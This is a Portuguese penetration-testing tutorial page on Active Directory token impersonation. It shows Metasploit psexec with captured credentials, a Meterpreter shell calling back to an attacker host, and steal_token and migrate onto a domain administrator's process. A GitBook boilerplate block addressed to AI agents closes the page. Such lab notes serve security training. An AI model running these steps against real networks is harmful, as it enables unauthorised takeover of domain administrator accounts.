> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/token-impersonation.md).

# Personificação de token

Para esta parte, usamos `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Assumimos que já comprometemos a `user1` conta.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="/files/0e6e845739fc7517eb231a78386c1f2449be4955" alt=""><figcaption></figcaption></figure>

Em seguida, configuramos o módulo com os parâmetros corretos.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
shell
```

{% endcode %}

<figure><img src="/files/e895ba8a69625c8f3ff80c6c3875302c01e6feb6" alt=""><figcaption></figcaption></figure>

De `Meterpreter`, listamos os processos ativos na máquina.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Alguns processos podem pertencer a um administrador de domínio.

<figure><img src="/files/df0bdc32e8fea0407d4959c41e44388a56096492" alt=""><figcaption></figcaption></figure>

Em seguida, podemos roubar o token do processo-alvo a partir do seu PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/d44abc8a84b94e509bda7396f187e5e29acb6a6f" alt=""><figcaption></figcaption></figure>

Esse token corresponde à sessão inicial da conta do administrador.

Se abrirmos um shell agora, ele será executado no contexto desse usuário.

{% code overflow="wrap" %}

```bash
shell
```

{% endcode %}

<figure><img src="/files/eb295f391926dd0cf567a3460af00737369650e1" alt=""><figcaption></figcaption></figure>

Outra possibilidade: migrar nossa carga para esse processo para herdar seu contexto.

Se necessário, podemos primeiro retornar ao nosso contexto inicial.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Em seguida, iniciamos a migração para o PID alvo.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/6d30736e6362a7a06a1d585c048b255e6fe607f6" alt=""><figcaption></figcaption></figure>

A limitação continua simples: se o processo morrer, a sessão migrada também cai.

> 172.16.0.10 - Sessão 1 do Meterpreter encerrada. Motivo: morreu

<figure><img src="/files/1305007ef154b832d7daf12e163680eb81b9b054" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
